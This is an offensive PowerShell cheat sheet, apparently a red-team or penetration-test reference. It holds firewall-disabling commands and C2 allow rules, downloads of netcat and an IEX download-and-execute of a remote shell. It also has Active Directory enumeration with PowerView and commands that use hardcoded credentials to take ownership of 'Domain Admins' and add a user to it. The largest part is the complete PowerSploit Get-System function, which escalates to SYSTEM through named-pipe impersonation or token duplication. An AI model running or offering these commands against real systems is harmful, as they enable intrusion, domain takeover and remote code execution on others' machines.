| PS C:\> Get-NetFirewallRule –all | |
| PS C:\> New-NetFirewallRule -Action | |
| Allow -DisplayName LetMeIn - | |
| RemoteAddress 10.10.10.25 | |
| Win 7 PS WebClient: | |
| (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe") | |
| Win 8 and later PS Invoke-WebRequest (wget): | |
| wget "http://10.0.0.10/nc.exe" -outfile "nc.exe" | |
| Display PowerShell Version: | |
| Get-Host | |
| $PSVersionTable.PSVersion | |
| ServicePointManager $true: | |
| [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} | |
| Disable-NetSSLValidation | |
| Invoke-SelfSignedWebRequest (External Project): | |
| Invoke-SelfSignedWebRequest https://www.my.af.mil/ "-outfile index.htm" | |
| wget-ss https://spectruminfosec.com/index.php |
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| List Current Domain - AD Module | |
| $ADClass = [System.DirectoryServices.ActiveDirectory.Domain] | |
| $ADClass::GetCurrentDomain() | |
| Install AD Module with powershell tools without installing RSAT. | |
| https://github.com/samratashok/ADModule | |
| iex (new-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1');Import-ActiveDirectory | |
| Get Current Domain | |
| Get-NetDomain (PowerView) | |
| Get-ADDomain (ActiveDirectory) | |
| Get Object of another Domain | |
| Get-NetDomain -Domain els.local (PowerView) | |
| Get-ADDomain -Identity els.local (Active Directory) | |
| Get Domain SID for current Domain | |
| Get-DomainSID (Powerview) | |
| (Get-ADDomain).DomainSID (Active Directory) | |
| Get Domain Policy for the Current Domain | |
| Get-DomainPolicy (Powerview) | |
| (Get-DomainPolicy)."system access" (Powerview) | |
| Get Domain Policy for another Domain | |
| (Get-DomainPolicy -domain els.local)."system access" (Powerview) | |
| Get Domain Controllers for the Current Domain | |
| Get-NetDomainController (Powerview) | |
| Get-ADDomainController (Active Directory) | |
| Get Domain Controllers for another Domain | |
| Get-NetDomainController -Domain els.local (Powerview) | |
| Get-ADDomainController -DomainName els.local -Discover (Active Directory) |
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| Add user to domain admin | |
| Get-DomainComputer -Ping -Domain ADMIN.OFFSHORE.COM -Properties dnshostname | |
| Get-DomainComputer -Ping -Domain ADMIN.OFFSHORE.COM | |
| Get-DomainGroup "Enterprise Admins" -Domain admin.offshore.com | |
| Get-DomainController -Domain ADMIN.OFFSHORE.COM | |
| Command to enumerate who had edit rights over GPO's in a foreign domain | |
| Get-DomainObjectAcl -Domain 'ADMIN.OFFSHORE.COM' -LDAPFilter 'objectCategory=groupPolicyContainer' -ResolveGUIDs | ? {($_.SecurityIdentifier -match 'S-1-5-.*-[1-9]\d{3,}$') -and ` ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner') } | |
| powerpick $pass = $pass = ConvertTo-SecureString 'la@3L$-CHILDL0c@l' -AsPlainText -Force; $Cred = New-Object System.Management.Automation.PSCredential('ELS-CHILD.els.local\appsvc', $pass);Set-DomainObjectOwner -Credential $Cred -server LAB-DC01 -Identity "Domain Admins" -OwnerIdentity "ELS-CHILD\uatoperator";Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "ELS-CHILD\uatoperator" -Rights WriteMembers -Credential $Cred -Verbose | |
| powerpick $pass = $pass = ConvertTo-SecureString 'la@3L$-CHILDL0c@l' -AsPlainText -Force; $Cred = New-Object System.Management.Automation.PSCredential('ELS-CHILD.els.local\appsvc', $pass); Add-DomainGroupMember -Identity 'Domain Admins' -Members "ELS-CHILD\uatoperator" -Credential $Cred | |
| powerpick $pass = $pass = ConvertTo-SecureString 'la@3L$-CHILDL0c@l' -AsPlainText -Force; $Cred = New-Object System.Management.Automation.PSCredential('ELS-CHILD.els.local\appsvc', $pass);Set-DomainObjectOwner -Credential $Cred -server LAB-DC01 -Identity "Domain Admins" -OwnerIdentity "uatoperator";Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity "uatoperator" -Rights WriteMembers -Credential $Cred; Add-DomainGroupMember -Identity 'Domain Admins' -Members "ELS-CHILD\uatoperator" -Credential $Cred -Verbose | |
| AllExtendedRights Abuse | |
| $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force; $Cred = New-Object System.Management.Automation.PSCredential('CORP', $SecPassword);$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force;Set-DomainUserPassword -Identity 'salvador@corp.local' -AccountPassword $UserPassword -Credential $Cred -verbose | |
| powerpick Get-DomainGPOLocalGroupMapping | |
| powerpick Get-DomainGPOLocalGroup |
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| set-executionpolicy unrestricted | |
| IEX (New-Object Net.Webclient).DownloadString(“http://10.11.0.220/shell.exe”) | |
| Set-NetFirewallProfile to Disable/Enable the Windows Firewall: | |
| Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False | |
| Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True | |
| New-NetFirewallRule to add allow a specific IP address to connect: | |
| New-NetFirewallRule -Action Allow -DisplayName Pentester-C2 -RemoteAddress | |
| new-netfirewallrule -action allow -localport 80 -direction inbound -protocol tcp -displayname pentester-c2 | |
| New-NetFirewallRule to allow connections on a specific port: | |
| new-netfirewallrule -action allow -localport 80 -direction inbound -protocol tcp -displayname pentester-c2 | |
| Turning Meterpreter into PowerShell | |
| post/windows/manage/payload_inject |
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| function Get-System { | |
| <# | |
| .SYNOPSIS | |
| GetSystem functionality inspired by Meterpreter's getsystem. | |
| 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create | |
| a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. | |
| NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure | |
| token duplication works correctly. | |
| PowerSploit Function: Get-System | |
| Author: @harmj0y, @mattifestation | |
| License: BSD 3-Clause | |
| Required Dependencies: None | |
| Optional Dependencies: None | |
| .PARAMETER Technique | |
| The technique to use, 'NamedPipe' or 'Token'. | |
| .PARAMETER ServiceName | |
| The name of the service used with named pipe impersonation, defaults to 'TestSVC'. | |
| .PARAMETER PipeName | |
| The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. | |
| .PARAMETER RevToSelf | |
| Reverts the current thread privileges. | |
| .PARAMETER WhoAmI | |
| Switch. Display the credentials for the current PowerShell thread. | |
| .EXAMPLE | |
| PS> Get-System | |
| Uses named impersonate to elevate the current thread token to SYSTEM. | |
| .EXAMPLE | |
| PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' | |
| Uses named impersonate to elevate the current thread token to SYSTEM | |
| with a custom service and pipe name. | |
| .EXAMPLE | |
| PS> Get-System -Technique Token | |
| Uses token duplication to elevate the current thread token to SYSTEM. | |
| .EXAMPLE | |
| PS> Get-System -WhoAmI | |
| Displays the credentials for the current thread. | |
| .EXAMPLE | |
| PS> Get-System -RevToSelf | |
| Reverts the current thread privileges. | |
| .LINK | |
| https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c | |
| https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot | |
| http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ | |
| http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ | |
| #> | |
| [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] | |
| param( | |
| [Parameter(ParameterSetName = "NamedPipe")] | |
| [Parameter(ParameterSetName = "Token")] | |
| [String] | |
| [ValidateSet("NamedPipe", "Token")] | |
| $Technique = 'NamedPipe', | |
| [Parameter(ParameterSetName = "NamedPipe")] | |
| [String] | |
| $ServiceName = 'TestSVC', | |
| [Parameter(ParameterSetName = "NamedPipe")] | |
| [String] | |
| $PipeName = 'TestSVC', | |
| [Parameter(ParameterSetName = "RevToSelf")] | |
| [Switch] | |
| $RevToSelf, | |
| [Parameter(ParameterSetName = "WhoAmI")] | |
| [Switch] | |
| $WhoAmI | |
| ) | |
| $ErrorActionPreference = "Stop" | |
| # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html | |
| function Local:Get-DelegateType | |
| { | |
| Param | |
| ( | |
| [OutputType([Type])] | |
| [Parameter( Position = 0)] | |
| [Type[]] | |
| $Parameters = (New-Object Type[](0)), | |
| [Parameter( Position = 1 )] | |
| [Type] | |
| $ReturnType = [Void] | |
| ) | |
| $Domain = [AppDomain]::CurrentDomain | |
| $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') | |
| $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) | |
| $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) | |
| $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) | |
| $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) | |
| $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') | |
| $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) | |
| $MethodBuilder.SetImplementationFlags('Runtime, Managed') | |
| Write-Output $TypeBuilder.CreateType() | |
| } | |
| # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html | |
| function Local:Get-ProcAddress | |
| { | |
| Param | |
| ( | |
| [OutputType([IntPtr])] | |
| [Parameter( Position = 0, Mandatory = $True )] | |
| [String] | |
| $Module, | |
| [Parameter( Position = 1, Mandatory = $True )] | |
| [String] | |
| $Procedure | |
| ) | |
| # Get a reference to System.dll in the GAC | |
| $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | | |
| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } | |
| $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') | |
| # Get a reference to the GetModuleHandle and GetProcAddress methods | |
| $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') | |
| $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') | |
| # Get a handle to the module specified | |
| $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) | |
| $tmpPtr = New-Object IntPtr | |
| $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) | |
| # Return the address of the function | |
| Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) | |
| } | |
| # performs named pipe impersonation to elevate to SYSTEM without needing | |
| # SeDebugPrivilege | |
| function Local:Get-SystemNamedPipe { | |
| param( | |
| [String] | |
| $ServiceName = "TestSVC", | |
| [String] | |
| $PipeName = "TestSVC" | |
| ) | |
| $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" | |
| # create the named pipe used for impersonation and set appropriate permissions | |
| $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity | |
| $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) | |
| $PipeSecurity.AddAccessRule($AccessRule) | |
| $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) | |
| $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle() | |
| # Declare/setup all the needed API function | |
| # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html | |
| $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient | |
| $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int]) | |
| $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate) | |
| $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle | |
| $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) | |
| $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) | |
| $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA | |
| $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) | |
| $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) | |
| $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA | |
| $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) | |
| $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) | |
| $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA | |
| $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) | |
| $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) | |
| $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA | |
| $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) | |
| $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) | |
| $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService | |
| $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) | |
| $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) | |
| $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError | |
| $GetLastErrorDelegate = Get-DelegateType @() ([Int]) | |
| $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) | |
| # Step 1 - OpenSCManager() | |
| # 0xF003F = SC_MANAGER_ALL_ACCESS | |
| # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx | |
| Write-Verbose "Opening service manager" | |
| $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F) | |
| Write-Verbose "Service manager handle: $ManagerHandle" | |
| # if we get a non-zero handle back, everything was successful | |
| if ($ManagerHandle -and ($ManagerHandle -ne 0)) { | |
| # Step 2 - CreateService() | |
| # 0xF003F = SC_MANAGER_ALL_ACCESS | |
| # 0x10 = SERVICE_WIN32_OWN_PROCESS | |
| # 0x3 = SERVICE_DEMAND_START | |
| # 0x1 = SERVICE_ERROR_NORMAL | |
| Write-Verbose "Creating new service: '$ServiceName'" | |
| try { | |
| $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) | |
| $err = $GetLastError.Invoke() | |
| } | |
| catch { | |
| Write-Warning "Error creating service : $_" | |
| $ServiceHandle = 0 | |
| } | |
| Write-Verbose "CreateServiceA Handle: $ServiceHandle" | |
| if ($ServiceHandle -and ($ServiceHandle -ne 0)) { | |
| $Success = $True | |
| Write-Verbose "Service successfully created" | |
| # Step 3 - CloseServiceHandle() for the service handle | |
| Write-Verbose "Closing service handle" | |
| $Null = $CloseServiceHandle.Invoke($ServiceHandle) | |
| # Step 4 - OpenService() | |
| Write-Verbose "Opening the service '$ServiceName'" | |
| $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) | |
| Write-Verbose "OpenServiceA handle: $ServiceHandle" | |
| if ($ServiceHandle -and ($ServiceHandle -ne 0)){ | |
| # Step 5 - StartService() | |
| Write-Verbose "Starting the service" | |
| $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) | |
| $err = $GetLastError.Invoke() | |
| # if we successfully started the service, let it breathe and then delete it | |
| if ($val -ne 0){ | |
| Write-Verbose "Service successfully started" | |
| # breathe for a second | |
| Start-Sleep -s 1 | |
| } | |
| else{ | |
| if ($err -eq 1053){ | |
| Write-Verbose "Command didn't respond to start" | |
| } | |
| else{ | |
| Write-Warning "StartService failed, LastError: $err" | |
| } | |
| # breathe for a second | |
| Start-Sleep -s 1 | |
| } | |
| # start cleanup | |
| # Step 6 - DeleteService() | |
| Write-Verbose "Deleting the service '$ServiceName'" | |
| $val = $DeleteService.invoke($ServiceHandle) | |
| $err = $GetLastError.Invoke() | |
| if ($val -eq 0){ | |
| Write-Warning "DeleteService failed, LastError: $err" | |
| } | |
| else{ | |
| Write-Verbose "Service successfully deleted" | |
| } | |
| # Step 7 - CloseServiceHandle() for the service handle | |
| Write-Verbose "Closing the service handle" | |
| $val = $CloseServiceHandle.Invoke($ServiceHandle) | |
| Write-Verbose "Service handle closed off" | |
| } | |
| else { | |
| Write-Warning "[!] OpenServiceA failed, LastError: $err" | |
| } | |
| } | |
| else { | |
| Write-Warning "[!] CreateService failed, LastError: $err" | |
| } | |
| # final cleanup - close off the manager handle | |
| Write-Verbose "Closing the manager handle" | |
| $Null = $CloseServiceHandle.Invoke($ManagerHandle) | |
| } | |
| else { | |
| # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx | |
| Write-Warning "[!] OpenSCManager failed, LastError: $err" | |
| } | |
| if($Success) { | |
| Write-Verbose "Waiting for pipe connection" | |
| $Pipe.WaitForConnection() | |
| $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd() | |
| $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle) | |
| Write-Verbose "ImpersonateNamedPipeClient: $Out" | |
| } | |
| # clocse off the named pipe | |
| $Pipe.Dispose() | |
| } | |
| # performs token duplication to elevate to SYSTEM | |
| # needs SeDebugPrivilege | |
| # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot | |
| Function Local:Get-SystemToken { | |
| [CmdletBinding()] param() | |
| $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv') | |
| $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) | |
| $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False) | |
| $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' | |
| $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType]) | |
| $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null | |
| $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null | |
| $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null | |
| $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType() | |
| $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType]) | |
| $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null | |
| $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null | |
| $LuidStruct = $LuidTypeBuilder.CreateType() | |
| $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType]) | |
| $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null | |
| $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null | |
| $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType() | |
| $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] | |
| $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray | |
| $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) | |
| $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType]) | |
| $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null | |
| $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public') | |
| $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1)) | |
| $PrivilegesField.SetCustomAttribute($AttribBuilder) | |
| $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() | |
| $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder( | |
| ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), | |
| 'advapi32.dll', | |
| @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), | |
| @([Bool] $True) | |
| ) | |
| $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder( | |
| ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), | |
| 'kernel32.dll', | |
| @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), | |
| @([Bool] $True) | |
| ) | |
| $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType]) | |
| $Win32TypeBuilder.DefinePInvokeMethod( | |
| 'OpenProcess', | |
| 'kernel32.dll', | |
| [Reflection.MethodAttributes] 'Public, Static', | |
| [Reflection.CallingConventions]::Standard, | |
| [IntPtr], | |
| @([UInt32], [Bool], [UInt32]), | |
| [Runtime.InteropServices.CallingConvention]::Winapi, | |
| 'Auto').SetCustomAttribute($AttribBuilder2) | |
| $Win32TypeBuilder.DefinePInvokeMethod( | |
| 'CloseHandle', | |
| 'kernel32.dll', | |
| [Reflection.MethodAttributes] 'Public, Static', | |
| [Reflection.CallingConventions]::Standard, | |
| [Bool], | |
| @([IntPtr]), | |
| [Runtime.InteropServices.CallingConvention]::Winapi, | |
| 'Auto').SetCustomAttribute($AttribBuilder2) | |
| $Win32TypeBuilder.DefinePInvokeMethod( | |
| 'DuplicateToken', | |
| 'advapi32.dll', | |
| [Reflection.MethodAttributes] 'Public, Static', | |
| [Reflection.CallingConventions]::Standard, | |
| [Bool], | |
| @([IntPtr], [Int32], [IntPtr].MakeByRefType()), | |
| [Runtime.InteropServices.CallingConvention]::Winapi, | |
| 'Auto').SetCustomAttribute($AttribBuilder) | |
| $Win32TypeBuilder.DefinePInvokeMethod( | |
| 'SetThreadToken', | |
| 'advapi32.dll', | |
| [Reflection.MethodAttributes] 'Public, Static', | |
| [Reflection.CallingConventions]::Standard, | |
| [Bool], | |
| @([IntPtr], [IntPtr]), | |
| [Runtime.InteropServices.CallingConvention]::Winapi, | |
| 'Auto').SetCustomAttribute($AttribBuilder) | |
| $Win32TypeBuilder.DefinePInvokeMethod( | |
| 'OpenProcessToken', | |
| 'advapi32.dll', | |
| [Reflection.MethodAttributes] 'Public, Static', | |
| [Reflection.CallingConventions]::Standard, | |
| [Bool], | |
| @([IntPtr], [UInt32], [IntPtr].MakeByRefType()), | |
| [Runtime.InteropServices.CallingConvention]::Winapi, | |
| 'Auto').SetCustomAttribute($AttribBuilder) | |
| $Win32TypeBuilder.DefinePInvokeMethod( | |
| 'LookupPrivilegeValue', | |
| 'advapi32.dll', | |
| [Reflection.MethodAttributes] 'Public, Static', | |
| [Reflection.CallingConventions]::Standard, | |
| [Bool], | |
| @([String], [String], [IntPtr].MakeByRefType()), | |
| [Runtime.InteropServices.CallingConvention]::Winapi, | |
| 'Auto').SetCustomAttribute($AttribBuilder) | |
| $Win32TypeBuilder.DefinePInvokeMethod( | |
| 'AdjustTokenPrivileges', | |
| 'advapi32.dll', | |
| [Reflection.MethodAttributes] 'Public, Static', | |
| [Reflection.CallingConventions]::Standard, | |
| [Bool], | |
| @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), | |
| [Runtime.InteropServices.CallingConvention]::Winapi, | |
| 'Auto').SetCustomAttribute($AttribBuilder) | |
| $Win32Methods = $Win32TypeBuilder.CreateType() | |
| $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'} | |
| $GetCurrentProcess = $Win32Native.GetMethod( | |
| 'GetCurrentProcess', | |
| [Reflection.BindingFlags] 'NonPublic, Static' | |
| ) | |
| $SE_PRIVILEGE_ENABLED = 0x00000002 | |
| $STANDARD_RIGHTS_REQUIRED = 0x000F0000 | |
| $STANDARD_RIGHTS_READ = 0x00020000 | |
| $TOKEN_ASSIGN_PRIMARY = 0x00000001 | |
| $TOKEN_DUPLICATE = 0x00000002 | |
| $TOKEN_IMPERSONATE = 0x00000004 | |
| $TOKEN_QUERY = 0x00000008 | |
| $TOKEN_QUERY_SOURCE = 0x00000010 | |
| $TOKEN_ADJUST_PRIVILEGES = 0x00000020 | |
| $TOKEN_ADJUST_GROUPS = 0x00000040 | |
| $TOKEN_ADJUST_DEFAULT = 0x00000080 | |
| $TOKEN_ADJUST_SESSIONID = 0x00000100 | |
| $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY | |
| $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor | |
| $TOKEN_ASSIGN_PRIMARY -bor | |
| $TOKEN_DUPLICATE -bor | |
| $TOKEN_IMPERSONATE -bor | |
| $TOKEN_QUERY -bor | |
| $TOKEN_QUERY_SOURCE -bor | |
| $TOKEN_ADJUST_PRIVILEGES -bor | |
| $TOKEN_ADJUST_GROUPS -bor | |
| $TOKEN_ADJUST_DEFAULT -bor | |
| $TOKEN_ADJUST_SESSIONID | |
| [long]$Luid = 0 | |
| $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct) | |
| $tokPriv1Luid.Count = 1 | |
| $tokPriv1Luid.Luid = $Luid | |
| $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED | |
| $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) | |
| $htoken = [IntPtr]::Zero | |
| $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) | |
| $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) | |
| $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) | |
| if(-not($RetVal)) { | |
| Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop | |
| } | |
| $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value | |
| $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { | |
| try { | |
| $OwnerInfo = $_.GetOwner() | |
| if ($OwnerInfo.Domain -and $OwnerInfo.User) { | |
| $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper() | |
| if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { | |
| $Process = Get-Process -Id $_.ProcessId | |
| $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id) | |
| if ($Handle) { | |
| $Handle | |
| } | |
| } | |
| } | |
| } | |
| catch {} | |
| } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1 | |
| if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { | |
| Write-Error 'Unable to obtain a handle to a system process.' | |
| } | |
| else { | |
| [IntPtr]$SystemToken = [IntPtr]::Zero | |
| $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
| Write-Verbose "OpenProcessToken result: $RetVal" | |
| Write-Verbose "OpenProcessToken result: $LastError" | |
| [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero | |
| $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
| Write-Verbose "DuplicateToken result: $LastError" | |
| $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
| if(-not($RetVal)) { | |
| Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop | |
| } | |
| Write-Verbose "SetThreadToken result: $LastError" | |
| $null = $Win32Methods::CloseHandle($Handle) | |
| } | |
| } | |
| if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { | |
| Write-Error "Script must be run as administrator" -ErrorAction Stop | |
| } | |
| if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { | |
| Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop | |
| } | |
| if($PSBoundParameters['WhoAmI']) { | |
| Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" | |
| return | |
| } | |
